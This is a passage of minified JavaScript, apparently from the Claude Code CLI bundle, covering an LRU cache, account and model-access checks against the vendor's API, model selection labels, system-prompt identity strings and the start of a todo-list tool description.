J=setTimeout(()=>{if(this.#v(z))this.#L(this.#O[z],"expire")},w+1);if(J.unref)J.unref()}},this.#y=(z)=>{K[z]=A[z]!==0?e0A.now():0},this.#R=(z,w)=>{if(A[w]){let H=A[w],J=K[w];if(!H||!J)return;z.ttl=H,z.start=J,z.now=q||Y();let O=z.now-J;z.remainingTTL=H-O}};let q=0,Y=()=>{let z=e0A.now();if(this.ttlResolution>0){q=z;let w=setTimeout(()=>q=0,this.ttlResolution);if(w.unref)w.unref()}return z};this.getRemainingTTL=(z)=>{let w=this.#$.get(z);if(w===void 0)return 0;let H=A[w],J=K[w];if(!H||!J)return 1/0;let O=(q||Y())-J;return H-O},this.#v=(z)=>{let w=K[z],H=A[z];return!!H&&!!w&&(q||Y())-w>H}}#y=()=>{};#R=()=>{};#B=()=>{};#v=()=>!1;#U(){let A=new XyA(this.#A);this.#X=0,this.#N=A,this.#I=(K)=>{this.#X-=A[K],A[K]=0},this.#m=(K,q,Y,z)=>{if(this.#_(q))return 0;if(!rn(Y))if(z){if(typeof z!=="function")throw TypeError("sizeCalculation must be a function");if(Y=z(q,K),!rn(Y))throw TypeError("sizeCalculation return invalid (expect positive integer)")}else throw TypeError("invalid size value (must be positive integer). When maxSize or maxEntrySize is used, sizeCalculation or size must be set.");return Y},this.#h=(K,q,Y)=>{if(A[K]=q,this.#K){let z=this.#K-A[K];while(this.#X>z)this.#b(!0)}if(this.#X+=A[K],Y)Y.entrySize=q,Y.totalCalculatedSize=this.#X}}#I=(A)=>{};#h=(A,K,q)=>{};#m=(A,K,q,Y)=>{if(q||Y)throw TypeError("cannot set size without setting maxSize or maxEntrySize on cache");return 0};*#k({allowStale:A=this.allowStale}={}){if(this.#w)for(let K=this.#Z;;){if(!this.#g(K))break;if(A||!this.#v(K))yield K;if(K===this.#j)break;else K=this.#D[K]}}*#C({allowStale:A=this.allowStale}={}){if(this.#w)for(let K=this.#j;;){if(!this.#g(K))break;if(A||!this.#v(K))yield K;if(K===this.#Z)break;else K=this.#G[K]}}#g(A){return A!==void 0&&this.#$.get(this.#O[A])===A}*entries(){for(let A of this.#k())if(this.#H[A]!==void 0&&this.#O[A]!==void 0&&!this.#_(this.#H[A]))yield[this.#O[A],this.#H[A]]}*rentries(){for(let A of this.#C())if(this.#H[A]!==void 0&&this.#O[A]!==void 0&&!this.#_(this.#H[A]))yield[this.#O[A],this.#H[A]]}*keys(){for(let A of this.#k()){let K=this.#O[A];if(K!==void 0&&!this.#_(this.#H[A]))yield K}}*rkeys(){for(let A of this.#C()){let K=this.#O[A];if(K!==void 0&&!this.#_(this.#H[A]))yield K}}*values(){for(let A of this.#k())if(this.#H[A]!==void 0&&!this.#_(this.#H[A]))yield this.#H[A]}*rvalues(){for(let A of this.#C())if(this.#H[A]!==void 0&&!this.#_(this.#H[A]))yield this.#H[A]}[Symbol.iterator](){return this.entries()}[Symbol.toStringTag]="LRUCache";find(A,K={}){for(let q of this.#k()){let Y=this.#H[q],z=this.#_(Y)?Y.__staleWhileFetching:Y;if(z===void 0)continue;if(A(z,this.#O[q],this))return this.get(this.#O[q],K)}}forEach(A,K=this){for(let q of this.#k()){let Y=this.#H[q],z=this.#_(Y)?Y.__staleWhileFetching:Y;if(z===void 0)continue;A.call(K,z,this.#O[q],this)}}rforEach(A,K=this){for(let q of this.#C()){let Y=this.#H[q],z=this.#_(Y)?Y.__staleWhileFetching:Y;if(z===void 0)continue;A.call(K,z,this.#O[q],this)}}purgeStale(){let A=!1;for(let K of this.#C({allowStale:!0}))if(this.#v(K))this.#L(this.#O[K],"expire"),A=!0;return A}info(A){let K=this.#$.get(A);if(K===void 0)return;let q=this.#H[K],Y=this.#_(q)?q.__staleWhileFetching:q;if(Y===void 0)return;let z={value:Y};if(this.#P&&this.#V){let w=this.#P[K],H=this.#V[K];if(w&&H){let J=w-(e0A.now()-H);z.ttl=J,z.start=Date.now()}}if(this.#N)z.size=this.#N[K];return z}dump(){let A=[];for(let K of this.#k({allowStale:!0})){let q=this.#O[K],Y=this.#H[K],z=this.#_(Y)?Y.__staleWhileFetching:Y;if(z===void 0||q===void 0)continue;let w={value:z};if(this.#P&&this.#V){w.ttl=this.#P[K];let H=e0A.now()-this.#V[K];w.start=Math.floor(Date.now()-H)}if(this.#N)w.size=this.#N[K];A.unshift([q,w])}return A}load(A){this.clear();for(let[K,q]of A){if(q.start){let Y=Date.now()-q.start;q.start=e0A.now()-Y}this.set(K,q.value,q)}}set(A,K,q={}){if(K===void 0)return this.delete(A),this;let{ttl:Y=this.ttl,start:z,noDisposeOnSet:w=this.noDisposeOnSet,sizeCalculation:H=this.sizeCalculation,status:J}=q,{noUpdateTTL:O=this.noUpdateTTL}=q,X=this.#m(A,K,q.size||0,H);if(this.maxEntrySize&&X>this.maxEntrySize){if(J)J.set="miss",J.maxEntrySizeExceeded=!0;return this.#L(A,"set"),this}let $=this.#w===0?void 0:this.#$.get(A);if($===void 0){if($=this.#w===0?this.#Z:this.#f.length!==0?this.#f.pop():this.#w===this.#A?this.#b(!1):this.#w,this.#O[$]=A,this.#H[$]=K,this.#$.set(A,$),this.#G[this.#Z]=$,this.#D[$]=this.#Z,this.#Z=$,this.#w++,this.#h($,X,J),J)J.set="add";O=!1}else{this.#S($);let _=this.#H[$];if(K!==_){if(this.#E&&this.#_(_)){_.__abortController.abort(Error("replaced"));let{__staleWhileFetching:G}=_;if(G!==void 0&&!w){if(this.#T)this.#q?.(G,A,"set");if(this.#M)this.#W?.push([G,A,"set"])}}else if(!w){if(this.#T)this.#q?.(_,A,"set");if(this.#M)this.#W?.push([_,A,"set"])}if(this.#I($),this.#h($,X,J),this.#H[$]=K,J){J.set="replace";let G=_&&this.#_(_)?_.__staleWhileFetching:_;if(G!==void 0)J.oldValue=G}}else if(J)J.set="update"}if(Y!==0&&!this.#P)this.#u();if(this.#P){if(!O)this.#B($,Y,z);if(J)this.#R(J,$)}if(!w&&this.#M&&this.#W){let _=this.#W,G;while(G=_?.shift())this.#z?.(...G)}return this}pop(){try{while(this.#w){let A=this.#H[this.#j];if(this.#b(!0),this.#_(A)){if(A.__staleWhileFetching)return A.__staleWhileFetching}else if(A!==void 0)return A}}finally{if(this.#M&&this.#W){let A=this.#W,K;while(K=A?.shift())this.#z?.(...K)}}}#b(A){let K=this.#j,q=this.#O[K],Y=this.#H[K];if(this.#E&&this.#_(Y))Y.__abortController.abort(Error("evicted"));else if(this.#T||this.#M){if(this.#T)this.#q?.(Y,q,"evict");if(this.#M)this.#W?.push([Y,q,"evict"])}if(this.#I(K),A)this.#O[K]=void 0,this.#H[K]=void 0,this.#f.push(K);if(this.#w===1)this.#j=this.#Z=0,this.#f.length=0;else this.#j=this.#G[K];return this.#$.delete(q),this.#w--,K}has(A,K={}){let{updateAgeOnHas:q=this.updateAgeOnHas,status:Y}=K,z=this.#$.get(A);if(z!==void 0){let w=this.#H[z];if(this.#_(w)&&w.__staleWhileFetching===void 0)return!1;if(!this.#v(z)){if(q)this.#y(z);if(Y)Y.has="hit",this.#R(Y,z);return!0}else if(Y)Y.has="stale",this.#R(Y,z)}else if(Y)Y.has="miss";return!1}peek(A,K={}){let{allowStale:q=this.allowStale}=K,Y=this.#$.get(A);if(Y===void 0||!q&&this.#v(Y))return;let z=this.#H[Y];return this.#_(z)?z.__staleWhileFetching:z}#x(A,K,q,Y){let z=K===void 0?void 0:this.#H[K];if(this.#_(z))return z;let w=new Cq1,{signal:H}=q;H?.addEventListener("abort",()=>w.abort(H.reason),{signal:w.signal});let J={signal:w.signal,options:q,context:Y},O=(W,D=!1)=>{let{aborted:j}=w.signal,M=q.ignoreFetchAbort&&W!==void 0;if(q.status)if(j&&!D){if(q.status.fetchAborted=!0,q.status.fetchError=w.signal.reason,M)q.status.fetchAbortIgnored=!0}else q.status.fetchResolved=!0;if(j&&!M&&!D)return $(w.signal.reason);let P=G;if(this.#H[K]===G)if(W===void 0)if(P.__staleWhileFetching)this.#H[K]=P.__staleWhileFetching;else this.#L(A,"fetch");else{if(q.status)q.status.fetchUpdated=!0;this.set(A,W,J.options)}return W},X=(W)=>{if(q.status)q.status.fetchRejected=!0,q.status.fetchError=W;return $(W)},$=(W)=>{let{aborted:D}=w.signal,j=D&&q.allowStaleOnFetchAbort,M=j||q.allowStaleOnFetchRejection,P=M||q.noDeleteOnFetchRejection,f=G;if(this.#H[K]===G){if(!P||f.__staleWhileFetching===void 0)this.#L(A,"fetch");else if(!j)this.#H[K]=f.__staleWhileFetching}if(M){if(q.status&&f.__staleWhileFetching!==void 0)q.status.returnedStale=!0;return f.__staleWhileFetching}else if(f.__returned===f)throw W},_=(W,D)=>{let j=this.#Y?.(A,z,J);if(j&&j instanceof Promise)j.then((M)=>W(M===void 0?void 0:M),D);w.signal.addEventListener("abort",()=>{if(!q.ignoreFetchAbort||q.allowStaleOnFetchAbort){if(W(void 0),q.allowStaleOnFetchAbort)W=(M)=>O(M,!0)}})};if(q.status)q.status.fetchDispatched=!0;let G=new Promise(_).then(O,X),Z=Object.assign(G,{__abortController:w,__staleWhileFetching:z,__returned:void 0});if(K===void 0)this.set(A,Z,{...J.options,status:void 0}),K=this.#$.get(A);else this.#H[K]=Z;return Z}#_(A){if(!this.#E)return!1;let K=A;return!!K&&K instanceof Promise&&K.hasOwnProperty("__staleWhileFetching")&&K.__abortController instanceof Cq1}async fetch(A,K={}){let{allowStale:q=this.allowStale,updateAgeOnGet:Y=this.updateAgeOnGet,noDeleteOnStaleGet:z=this.noDeleteOnStaleGet,ttl:w=this.ttl,noDisposeOnSet:H=this.noDisposeOnSet,size:J=0,sizeCalculation:O=this.sizeCalculation,noUpdateTTL:X=this.noUpdateTTL,noDeleteOnFetchRejection:$=this.noDeleteOnFetchRejection,allowStaleOnFetchRejection:_=this.allowStaleOnFetchRejection,ignoreFetchAbort:G=this.ignoreFetchAbort,allowStaleOnFetchAbort:Z=this.allowStaleOnFetchAbort,context:W,forceRefresh:D=!1,status:j,signal:M}=K;if(!this.#E){if(j)j.fetch="get";return this.get(A,{allowStale:q,updateAgeOnGet:Y,noDeleteOnStaleGet:z,status:j})}let P={allowStale:q,updateAgeOnGet:Y,noDeleteOnStaleGet:z,ttl:w,noDisposeOnSet:H,size:J,sizeCalculation:O,noUpdateTTL:X,noDeleteOnFetchRejection:$,allowStaleOnFetchRejection:_,allowStaleOnFetchAbort:Z,ignoreFetchAbort:G,status:j,signal:M},f=this.#$.get(A);if(f===void 0){if(j)j.fetch="miss";let N=this.#x(A,f,P,W);return N.__returned=N}else{let N=this.#H[f];if(this.#_(N)){let y=q&&N.__staleWhileFetching!==void 0;if(j){if(j.fetch="inflight",y)j.returnedStale=!0}return y?N.__staleWhileFetching:N.__returned=N}let T=this.#v(f);if(!D&&!T){if(j)j.fetch="hit";if(this.#S(f),Y)this.#y(f);if(j)this.#R(j,f);return N}let C=this.#x(A,f,P,W),x=C.__staleWhileFetching!==void 0&&q;if(j){if(j.fetch=T?"stale":"refresh",x&&T)j.returnedStale=!0}return x?C.__staleWhileFetching:C.__returned=C}}async forceFetch(A,K={}){let q=await this.fetch(A,K);if(q===void 0)throw Error("fetch() returned undefined");return q}memo(A,K={}){let q=this.#J;if(!q)throw Error("no memoMethod provided to constructor");let{context:Y,forceRefresh:z,...w}=K,H=this.get(A,w);if(!z&&H!==void 0)return H;let J=q(A,H,{options:w,context:Y});return this.set(A,J,w),J}get(A,K={}){let{allowStale:q=this.allowStale,updateAgeOnGet:Y=this.updateAgeOnGet,noDeleteOnStaleGet:z=this.noDeleteOnStaleGet,status:w}=K,H=this.#$.get(A);if(H!==void 0){let J=this.#H[H],O=this.#_(J);if(w)this.#R(w,H);if(this.#v(H)){if(w)w.get="stale";if(!O){if(!z)this.#L(A,"expire");if(w&&q)w.returnedStale=!0;return q?J:void 0}else{if(w&&q&&J.__staleWhileFetching!==void 0)w.returnedStale=!0;return q?J.__staleWhileFetching:void 0}}else{if(w)w.get="hit";if(O)return J.__staleWhileFetching;if(this.#S(H),Y)this.#y(H);return J}}else if(w)w.get="miss"}#F(A,K){this.#D[K]=A,this.#G[A]=K}#S(A){if(A!==this.#Z){if(A===this.#j)this.#j=this.#G[A];else this.#F(this.#D[A],this.#G[A]);this.#F(this.#Z,A),this.#Z=A}}delete(A){return this.#L(A,"delete")}#L(A,K){let q=!1;if(this.#w!==0){let Y=this.#$.get(A);if(Y!==void 0)if(q=!0,this.#w===1)this.#Q(K);else{this.#I(Y);let z=this.#H[Y];if(this.#_(z))z.__abortController.abort(Error("deleted"));else if(this.#T||this.#M){if(this.#T)this.#q?.(z,A,K);if(this.#M)this.#W?.push([z,A,K])}if(this.#$.delete(A),this.#O[Y]=void 0,this.#H[Y]=void 0,Y===this.#Z)this.#Z=this.#D[Y];else if(Y===this.#j)this.#j=this.#G[Y];else{let w=this.#D[Y];this.#G[w]=this.#G[Y];let H=this.#G[Y];this.#D[H]=this.#D[Y]}this.#w--,this.#f.push(Y)}}if(this.#M&&this.#W?.length){let Y=this.#W,z;while(z=Y?.shift())this.#z?.(...z)}return q}clear(){return this.#Q("delete")}#Q(A){for(let K of this.#C({allowStale:!0})){let q=this.#H[K];if(this.#_(q))q.__abortController.abort(Error("deleted"));else{let Y=this.#O[K];if(this.#T)this.#q?.(q,Y,A);if(this.#M)this.#W?.push([q,Y,A])}}if(this.#$.clear(),this.#H.fill(void 0),this.#O.fill(void 0),this.#P&&this.#V)this.#P.fill(0),this.#V.fill(0);if(this.#N)this.#N.fill(0);if(this.#j=0,this.#Z=0,this.#f.length=0,this.#X=0,this.#w=0,this.#M&&this.#W){let K=this.#W,q;while(q=K?.shift())this.#z?.(...q)}}}});function r46(A,K=300000){let q=new Map,Y=(...z)=>{let w=UA(z),H=q.get(w),J=Date.now();if(!H){let O=A(...z);return q.set(w,{value:O,timestamp:J,refreshing:!1}),O}if(H&&J-H.timestamp>K&&!H.refreshing)return H.refreshing=!0,Promise.resolve().then(()=>{let O=A(...z);q.set(w,{value:O,timestamp:Date.now(),refreshing:!1})}).catch((O)=>{KA(O instanceof Error?O:Error(String(O))),q.delete(w)}),H.value;return q.get(w).value};return Y.cache={clear:()=>q.clear()},Y}function Lq1(A,K=300000){let q=new Map,Y=async(...z)=>{let w=UA(z),H=q.get(w),J=Date.now();if(!H){let O=await A(...z);return q.set(w,{value:O,timestamp:J,refreshing:!1}),O}if(H&&J-H.timestamp>K&&!H.refreshing)return H.refreshing=!0,A(...z).then((O)=>{q.set(w,{value:O,timestamp:Date.now(),refreshing:!1})}).catch((O)=>{KA(O instanceof Error?O:Error(String(O))),q.delete(w)}),H.value;return q.get(w).value};return Y.cache={clear:()=>q.clear()},Y}var Rq1=k(()=>{C1();b1()});async function yq1(){let K=M1().oauthAccount?.accountUuid,q=Ex();if(!K||!q)return;let Y=`${E7().BASE_API_URL}/api/claude_cli_profile`;try{return(await A8.get(Y,{headers:{"x-api-key":q,"anthropic-beta":LE},params:{account_uuid:K}})).data}catch(z){KA(z)}}async function KXA(A){let K=`${E7().BASE_API_URL}/api/oauth/profile`;try{return(await A8.get(K,{headers:{Authorization:`Bearer ${A}`,"Content-Type":"application/json"}})).data}catch(q){KA(q)}}var _yA=k(()=>{n3();uz();x4();i6();C1()});async function za3(){let A=$5()?.organizationUuid;if(!A)throw Error("No organization ID available");let K=BH();if(K.error)throw Error(`Auth error: ${K.error}`);let q={"Content-Type":"application/json","User-Agent":uH(),...K.headers};try{let Y=`https://api.anthropic.com/api/organization/${A}/claude_code_sonnet_1m_access`,z=await A8.get(Y,{headers:q,timeout:5000});return{hasAccess:z.data.has_access,hasAccessNotAsDefault:z.data.has_access_not_as_default,hasError:!1}}catch(Y){return KA(Y),{hasAccess:!1,hasError:!0}}}async function Ha3(){try{return await wa3()}catch(A){return h("Sonnet-1M access check failed, defaulting to no access"),{hasAccess:!1,hasError:!0}}}function K4A(){let A=$5()?.organizationUuid;if(!A)return{hasAccess:!1,wasPartOfDefaultRollout:!1,needsRefresh:!1};let K=M1(),q=(Z4()?K.s1mAccessCache:K.s1mNonSubscriberAccessCache)?.[A],Y=Date.now();if(!q)return{hasAccess:!1,wasPartOfDefaultRollout:!1,needsRefresh:!0};let{hasAccess:z,hasAccessNotAsDefault:w,timestamp:H}=q,J=Y-H>Ja3;return{hasAccess:z||(w??!1),wasPartOfDefaultRollout:z,needsRefresh:J}}async function mH4(){let{needsRefresh:A}=K4A();if(A)Oa3()}async function Oa3(){let A=$5()?.organizationUuid;if(!A)return;if(!Z4()){let K=await yq1();if(!K)return;let{uuid:q,rate_limit_tier:Y}=K.organization,z={hasAccess:Y==="auto_prepaid_tier_3"||Y==="manual_tier_3",timestamp:Date.now()};D6((w)=>({...w,s1mNonSubscriberAccessCache:{...w.s1mNonSubscriberAccessCache,[q]:z}}));return}try{let{hasAccess:K,hasAccessNotAsDefault:q}=await Ha3(),Y={hasAccess:K,hasAccessNotAsDefault:q,timestamp:Date.now()};D6((z)=>({...z,s1mAccessCache:{...z.s1mAccessCache,[A]:Y}}))}catch(K){h("Failed to fetch and cache Sonnet-1M access"),KA(K)}}var Ya3=3600000,wa3,Ja3=3600000;var Iq1=k(()=>{n3();Rq1();JG();Z1();C1();i6();x4();_yA();wa3=Lq1(za3,Ya3)});function hq1(){return"inherit"}function _O(){return process.env.ANTHROPIC_SMALL_FAST_MODEL||o46()}function zXA(A){return A===XO().opus40||A===XO().opus41||A===XO().opus45}function bq1(A){return A.includes("opus")}function xq1(){let A,K=wzA();if(K!==void 0)A=K;else{let q=J8()||{};A=process.env.ANTHROPIC_MODEL||q.model||void 0}if(Z4()&&!yk()&&A&&bq1(A))return;return A}function q4A(A={}){let K=xq1();if(K!==null&&K!==void 0)return K;let{forDisplay:q=!1}=A;return UH4(q)}function J3(){let A=q4A();if(A!==void 0&&A!==null)return cz(A);return Rk()}function Lk(){if(process.env.ANTHROPIC_DEFAULT_SONNET_MODEL)return process.env.ANTHROPIC_DEFAULT_SONNET_MODEL;return XO().sonnet45}function ZyA(){return Uq()==="max"}function WyA(){return Uq()==="team"}function wXA(){return Uq()==="pro"}function an(){if(process.env.ANTHROPIC_DEFAULT_OPUS_MODEL)return process.env.ANTHROPIC_DEFAULT_OPUS_MODEL;if(c7()==="firstParty")return XO().opus45;return XO().opus41}function o46(){if(process.env.ANTHROPIC_DEFAULT_HAIKU_MODEL)return process.env.ANTHROPIC_DEFAULT_HAIKU_MODEL;return XO().haiku45}function sn(A){let{permissionMode:K,mainLoopModel:q,exceeds200kTokens:Y=!1}=A;if(q4A()==="opusplan"&&K==="plan"&&!Y)return an();if(q4A()==="haiku"&&K==="plan")return Lk();return q}function a46(){return null}function $a3(){return null}function _a3(){return null}function QH4(A){return}function UH4(A){let K=Ga3();if(K!==null&&K.name)return A?K.displayName??K.name:K.name;return}function uq1(A={}){let{forDisplay:K=!1}=A,q=UH4(K);if(q!==void 0)return q;if(ZyA()||WyA()||wXA())return an();return Lk()}function Rk(A={}){return cz(uq1(A))}function wM(A){if(A.includes("claude-opus-4-5"))return"claude-opus-4-5";if(A.includes("claude-opus-4-1"))return"claude-opus-4-1";if(A.includes("claude-opus-4"))return"claude-opus-4";let K=A.match(/(claude-(\d+-\d+-)?\w+)/);if(K&&K[1])return K[1];return A}async function pH4(){try{if(M1().claudeCodeFirstTokenDate!==void 0)return;let K=BH();if(K.error){KA(Error(`Failed to get auth headers: ${K.error}`));return}let Y=`${E7().BASE_API_URL}/api/organization/claude_code_first_token_date`,w=(await A8.get(Y,{headers:{...K.headers,"User-Agent":uH()}})).data?.first_token_date??null;if(w!==null){let H=new Date(w).getTime();if(isNaN(H)){KA(Error(`Received invalid first_token_date from API: ${w}`));return}}D6((H)=>({...H,claudeCodeFirstTokenDate:w}))}catch(A){KA(A instanceof Error?A:Error(String(A)))}}function GyA(){if(ZyA()||WyA()||wXA())return"Opus 4.5 · Most capable for complex work";return"Sonnet 4.5 · Best for everyday tasks"}function Za3(A){if(A==="opusplan")return"Opus 4.5 in plan mode, else Sonnet 4.5";return HM(cz(A))}function dH4(A){if(A==="opusplan")return"Opus Plan";if(t46(A))return A.charAt(0).toUpperCase()+A.slice(1);return HM(A)}function cH4(A){switch(A){case XO().opus45:return"Opus 4.5";case XO().opus41:return"Opus 4.1";case XO().opus40:return"Opus 4";case XO().sonnet45+"[1m]":return"Sonnet 4.5 (1M context)";case XO().sonnet45:return"Sonnet 4.5";case XO().sonnet40:return"Sonnet 4";case XO().sonnet40+"[1m]":return"Sonnet 4 (1M context)";case XO().sonnet37:return"Sonnet 3.7";case XO().sonnet35:return"Sonnet 3.5";case XO().haiku45:return"Haiku 4.5";case XO().haiku35:return"Haiku 3.5";default:return null}}function HM(A){let K=cH4(A);if(K)return K;return A}function lH4(A){let K=cH4(A);if(K)return`Claude ${K}`;return`Claude (${A})`}function on(){if(Z4()){if(!yk())return{value:null,label:"Sonnet",description:s46.description};if(wXA())return{value:null,label:"Opus",description:GyA()};return{value:null,label:"Default (recommended)",description:GyA()}}return{value:null,label:"Default (recommended)",description:`Use the default model (currently ${Za3(uq1({forDisplay:!0}))}) · ${cn(A4A)}`}}function ja3(){return o46()===XO().haiku45?rH4:Da3}function Va3(){let A=rH4;if(Z4()){if(!yk())return[on(),Sq1];if(ZyA()||WyA()){let Y=[on(),FH4];if(K4A().hasAccess)Y.push(gH4);return Y.push(Sq1),Y}if(wXA())return[on(),FH4,Sq1];let q=[on(),Ma3];if(K4A().hasAccess)q.push(gH4);return q.push(Sq1),q}let K=[on(),nH4()];if(c7()!=="firstParty")K.push(Wa3());if(K4A().hasAccess)K.push(iH4);if(A)K.push(A);return K}function Y4A(){let A=Va3(),K=null,q=xq1(),Y=SnA();if(q!==void 0&&q!==null)K=q;else if(Y!==null)K=Y;if(K===null||A.some((z)=>z.value===K))return A;if(K==="opusplan")return[...A,Pa3()];if(!Z4()&&t46(K))if(K==="sonnet")A.push(s46);else if(K==="sonnet[1m]")A.push(iH4);else if(K==="opus")A.push(nH4());else if(K==="haiku")A.push(ja3());else A.push({value:K,label:K,description:"Custom model"});else A.push({value:K,label:K,description:"Custom model"});return A}function t46(A){return qXA.includes(A)}function cz(A){let K=A.trim(),q=K.toLowerCase(),Y=q.endsWith("[1m]"),z=Y?q.replace(/\[1m]$/i,"").trim():q;if(t46(z))switch(z){case"opusplan":return Lk()+(Y?"[1m]":"");case"sonnet":return Lk()+(Y?"[1m]":"");case"haiku":return o46()+(Y?"[1m]":"");case"opus":return an();default:}if(Y)return K.replace(/\[1m\]$/i,"").trim()+"[1m]";return K}function vy(A){if(A===null){if(Z4()&&!yk())return`Sonnet (${s46.description})`;else if(Z4())return`Default (${GyA()})`;return`Default (${Rk({forDisplay:!0})})`}let K=cz(A);return A===K?K:`${A} (${K})`}function Bq1(A,K,q,Y){if(process.env.CLAUDE_CODE_SUBAGENT_MODEL)return cz(process.env.CLAUDE_CODE_SUBAGENT_MODEL);let z=b46(K),w=(J)=>{if(z&&c7()==="bedrock")return ZH4(J,z);return J};if(q)return w(cz(q));let H=A??hq1();if(!H)return w(cz(hq1()));if(H==="inherit")return sn({permissionMode:Y??"default",mainLoopModel:K,exceeds200kTokens:!1});return w(cz(H))}function mq1(A){if(!A)return"Inherit (default)";if(A==="inherit")return"Inherit from parent";return A.charAt(0).toUpperCase()+A.slice(1)}function oH4(){let A=[{value:"sonnet",label:"Sonnet",description:"Balanced performance - best for most agents"}];if(yk())A.push({value:"opus",label:"Opus",description:"Most capable for complex reasoning tasks"});return A.push({value:"haiku",label:"Haiku",description:"Fast and efficient for simple tasks"},{value:"inherit",label:"Inherit from parent",description:"Use the same model as the main conversation"}),A}function vQ(A){return A.replace(/\[(1|2)m\]/gi,"")}var qXA,Xa3,hH4,YXA,Ga3,s46,iH4,nH4=()=>{let A=c7()!=="firstParty";return{value:"opus",label:A?"Opus 4.1":"Opus",description:`Opus ${A?"4.1":"4.5"} · ${A?"Legacy":"Most capable for complex work"} · ${cn(A?Tq1:vq1)}`,descriptionForModel:A?"Opus 4.1 - legacy version":"Opus 4.5 - most capable for complex work"}},Wa3=()=>{return{value:XO().opus45,label:"Opus 4.5",description:`Opus 4.5 · Most capable for complex work · ${cn(vq1)}`,descriptionForModel:"Opus 4.5 - most capable for complex work"}},rH4,Da3,Ma3,gH4,FH4,Sq1,Pa3=()=>{return{value:"opusplan",label:"Opus Plan Mode",description:"Use Opus 4.5 in plan mode, Sonnet 4.5 otherwise"}};var K7=k(()=>{p7();i6();q6();x4();rJA();Mq1();kq1();I8();kx();n3();uz();C1();JG();Iq1();IH();zyA();B7();qXA=["sonnet","opus","haiku","sonnet[1m]","opusplan"],Xa3=c6A,hH4=Xa3.firstParty,YXA=[...qXA,"inherit"];Ga3=z6(()=>{return null});s46={value:"sonnet",label:"Sonnet",description:`Sonnet 4.5 · Best for everyday tasks · ${cn(A4A)}`,descriptionForModel:"Sonnet 4.5 - best for everyday tasks. Generally recommended for most coding tasks"},iH4={value:"sonnet[1m]",label:"Sonnet (1M context)",description:`Sonnet 4.5 for long sessions · ${cn(c46)}`,descriptionForModel:"Sonnet 4.5 with 1M context window - for long sessions with large codebases"},rH4={value:"haiku",label:"Haiku",description:`Haiku 4.5 · Fastest for quick answers · ${cn(i46)}`,descriptionForModel:"Haiku 4.5 - fastest for quick answers. Lower cost but less capable than Sonnet 4.5."},Da3={value:"haiku",label:"Haiku",description:`Haiku 3.5 for simple tasks · ${cn(l46)}`,descriptionForModel:"Haiku 3.5 - faster and lower cost, but less capable than Sonnet. Use for simple tasks."};Ma3={value:"opus",label:"Opus",description:"Opus 4.5 · Most capable for complex work"},gH4={value:"sonnet[1m]",label:"Sonnet (1M context)",description:"Sonnet 4.5 with 1M context · Uses rate limits faster"},FH4={value:"sonnet",label:"Sonnet",description:"Sonnet 4.5 · Best for everyday tasks"},Sq1={value:"haiku",label:"Haiku",description:"Haiku 4.5 · Fastest for quick answers"}});function Fq1(A){if(c7()==="vertex")return e46;if(A?.isNonInteractive){if(A.hasAppendSystemPrompt)return aH4;return sH4}return e46}function Na3(){if(J2(process.env.CLAUDE_CODE_ATTRIBUTION_HEADER))return!1;return G4("tengu_attribution_header",!0)}function Qq1(A){if(!Na3())return"";let K=`${{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION}.${A}`,q=process.env.CLAUDE_CODE_ENTRYPOINT??"unknown",Y=`x-anthropic-billing-header: cc_version=${K}; cc_entrypoint=${q};`;return h(`attribution header ${Y}`),Y}var e46="You are Claude Code, Anthropic's official CLI for Claude.",aH4="You are Claude Code, Anthropic's official CLI for Claude, running within the Claude Agent SDK.",sH4="You are a Claude agent, built on Anthropic's Claude Agent SDK.",fa3,gq1;var Uq1=k(()=>{IH();Z1();B7();l6();fa3=[e46,aH4,sH4],gq1=new Set(fa3)});import{createHash as Ta3}from"crypto";function Ea3(A){let K=A.find((Y)=>Y.type==="user");if(!K)return"";let q=K.message.content;if(typeof q==="string")return q;if(Array.isArray(q)){let Y=q.find((z)=>z.type==="text");if(Y&&Y.type==="text")return Y.text}return""}function A76(A,K){let Y=[4,7,20].map((H)=>A[H]||"0").join(""),z=`${va3}${Y}${K}`;return Ta3("sha256").update(z).digest("hex").slice(0,3)}function tH4(A){let K=Ea3(A);return A76(K,{ISSUES_EXPLAINER:"report the issue at https://github.com/anthropics/claude-code/issues",PACKAGE_URL:"@anthropic-ai/claude-code",README_URL:"https://code.claude.com/docs/en/overview",VERSION:"2.1.23",FEEDBACK_CHANNEL:"https://github.com/anthropics/claude-code/issues",BUILD_TIME:"2026-01-29T00:18:20Z"}.VERSION)}var va3="59cf53e54c78";var K76=()=>{};var eH4,AJ4="Update the todo list for the current session. To be used proactively and often to track progress and pending tasks. Make sure that at least one task is in_progress at all times. Always provide both content (imperative) and activeForm (present continuous) for each task.";var KJ4=k(()=>{eH4=`Use this tool to create and manage a structured task list for your current coding session. This helps you track progress, organize complex tasks, and demonstrate thoroughness to the user. It also helps the user understand the progress of the task and overall progress of their requests. ## When to Use This Tool Use this tool proactively in these scenarios: 1. Complex multi-step tasks - When a task requires 3 or more distinct steps or actions 2. Non-trivial and complex tasks - Tasks that require careful planning or multiple operations 3. User explicitly requests todo list - When the user directly asks you to use the todo list 4. User provides multiple tasks - When users provide a list of things to be done (numbered or comma-separated) 5. After receiving new instructions - Immediately capture user requirements as todos 6. When you start working on a task - Mark it as in_progress BEFORE beginning work. Ideally you should only have one todo as in_progress at a time 7. After completing a task - Mark it as completed and add any new follow-up tasks discovered during implementation ## When NOT to Use This Tool Skip using this tool when: 1. There is only a single, straightforward task 2. The task is trivial and tracking it provides no organizational benefit 3. The task can be completed in less than 3 trivial steps 4. The task is purely conversational or informational NOTE that you should not use this tool if there is only one trivial task to do. In this case you are better off just doing the task directly. ## Examples of When to Use the Todo List <example> User: I want to add a dark mode toggle to the application settings. Make sure you run the tests and build when you're done! Assistant: I'll help add a dark mode toggle to your application settings. Let me create a todo list to track this implementation. *Creates todo list with the following items:* 1. Creating dark mode toggle component in Settings page 2. Adding dark mode state management (context/store) 3. Implementing CSS-in-JS styles for dark theme 4. Updating existing components to support theme switching 5. Running tests and build process, addressing any failures or errors that occur *Begins working on the first task* <reasoning> The assistant used the todo list because: 1. Adding dark mode is a multi-step feature requiring UI, state management, and styling changes 2. The user explicitly requested tests and build be run afterward 3. The assistant inferred that tests and build need to pass by adding "Ensure tests and build succeed" as the final task </reasoning> </example> <example> User: Help me rename the function getCwd to 